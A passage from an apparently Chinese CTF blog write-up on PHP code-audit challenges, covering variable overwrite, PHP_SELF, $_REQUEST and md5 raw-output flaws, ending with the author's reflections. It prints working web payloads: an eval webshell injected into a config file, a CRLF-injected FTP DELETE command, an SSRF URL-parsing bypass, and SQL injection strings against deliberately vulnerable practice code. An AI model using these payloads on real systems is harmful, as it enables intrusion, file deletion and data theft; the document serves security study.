'shell'=>'\',)
<?=eval($_REQUEST[byc]);?>//',
)
所以需要先闭合,换行后写shell注释即可。
某CMS中也出现了类似的变量覆盖漏洞。比如需要admin权限,而admin权限是由session数组的值决定的。因此可以直接_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
覆盖。
当然,前提是当前的php开启了session_start()
Day15
PHP_SELF
关于$_SERVER['PHP']
:PHP_SELF
指当前的页面绝对地址,它是可以控制的.
同时代码中调用了一次urldecode,加上浏览器自带的一次解码,就可以通过二次url编码进行关键字绕过http://www.test.com/index.php/http:%252f%252fblog.dyboy.cn?redirect=test¶ms=test123
此处payload即可达成302跳转
PHP_SELF
这个考点之前zer0pts的题目中也有出现过
练习
// index.php
<?php
include "./config.php";
include "./flag.php";
error_reporting(0);
$black_list = "/admin|guest|limit|by|substr|mid|like|or|char|union|select|greatest|%00|\'|";
$black_list .= "=|_| |in|<|>|-|chal|_|\.|\(\)|#|and|if|database|where|concat|insert|having|sleep/i";
if(preg_match($black_list, $_GET['user'])) exit(":P");
if(preg_match($black_list, $_GET['pwd'])) exit(":P");
$query="select user from users where user='$_GET[user]' and pwd='$_GET[pwd]'";
echo "<h1>query : <strong><b>{$query}</b></strong><br></h1>";
$result = $conn->query($query);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
if($row['user']) echo "<h2>Welcome {$row['user']}</h2>";
}
$result = $conn->query("select pwd from users where user='admin'");
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$admin_pass = $row['pwd'];
}
if(($admin_pass)&&($admin_pass === $_GET['pwd'])){
echo $flag;
}
highlight_file(__FILE__);
?>
没啥意思…跟之前校赛的套路题一样的。regexp
进行注入;%00
来注释。
Day16
$_REQUEST
本题主要是一个$_REQUEST
的例子。从题目逻辑上看,首先可以知道是进行了一次ftp的连接,同时用intval
来试图处理我们的输入。看似无法绕过。但是实际输出下就会发现有蹊跷: $_REQUEST
的内容不受过滤函数影响。所以虽然$_REQUEST
内容是上述三个全局变量的合集,但实际上是不会受影响的。
payload
?mode=1%0a%0dDELETE%20test.file
1可以达成mode的判断。而后续的数据通过crlf被当做命令执行。删除了文件。
因此,需要注意$_REQUEST
的使用。假如只对GET,POST,COOKIE
三种进行过滤却在代码中拼接REQUEST
是不可取的。
练习
// index.php
<?php
function check_inner_ip($url)
{
$match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result){
die('url fomat error1');
}
try{
$url_parse=parse_url($url);
}
catch(Exception $e){
die('url fomat error2');
}
$hostname=$url_parse['host'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16 || ip2long('0.0.0.0')>>24 == $int_ip>>24;
}
function safe_request_url($url)
{
if (check_inner_ip($url)){
echo $url.' is inner ip';
}
else{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
if ($result_info['redirect_url']){
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output);
}
}
$url = $_POST['url'];
if(!empty($url)){
safe_request_url($url);
}
else{
highlight_file(__file__);
}
//flag in flag.php
?>
// flag.php
<?php
if (! function_exists('real_ip') ) {
function real_ip()
{
$ip = $_SERVER['REMOTE_ADDR'];
if (is_null($ip) && isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (is_null($ip) && isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (is_null($ip) && isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
}
$rip = real_ip();
if($rip === "127.0.0.1")
die("HRCTF{SSRF_can_give_you_flag}");
else
die("You IP is {$rip} not 127.0.0.1");
?>
这个应该就是当初郁师傅经典ssrf的原型了。要求从内网ip 127.0.0.1访问flag.php才能得到flag.使用的自然是当初blackhatpdf中分享的关于php及curl间对url解析的差异
url=http://foo@localhost:80@www.bycsec.top/flag.php
libcurl认第一个@
后的作为host。php及其他语言都认最后一个@
后的作为host.所以前面绕过内网ip限制。在后面成功执行了curl
Day17
md5 raw_output = true
这其实是一个很经典的漏洞 => 如果提到 ffifdyop应该就很熟悉了。传说中的万能密码绕过。 而之所以存在这个绕过的原因是md5这个函数第二个选项就是raw_output
。默认为false。但是假如设为true的话MD5报文摘要将以16字节长度的原始二进制格式返回。这样就会存在一些奇怪的字符。因此 ffifdyop 在经过md5后的内容恰好是'or'6\xc9]\x99
.符合万能密码的要求。
本题也是同样的道理。addslashes
看似不能绕过。但是因为拼接的是md5后的pass.所以只要找到一个数字md5后的raw内容包含\
即可。
payload
user= OR 1=1#&passwd=128
summary
时隔两个月终于又把auditlabs的坑填完了…… 不得不说里面涵盖的很多php相关漏洞都是些新手刚刚入门平台里的那些经典题目的原理。当初有的半懂不懂,现在算是把坑给填上了。
然后自己最近有些纠结。原本因为接触了一些国际赛后,开始投身nodejs与python相关的漏洞了。出了几道题也都只是node跟python.唯一一道php还是sql注入。可能自己心里对php还是谈不上喜欢吧,没有钻研细节的劲头,更没有进行相关开发的想法。但最近头一次实战发现php仍旧是网站大头之一,并且ctf比赛中php还是有着能够难倒人的绝对水准。假如我想要继续提升实力,仍旧得在php下下不少功夫。更何况看框架的洞已经算最近的一大乐趣了233.
所以说,希望自己还是能花点时间去多看看php.找时间练练手。最后能多出几个题就好了。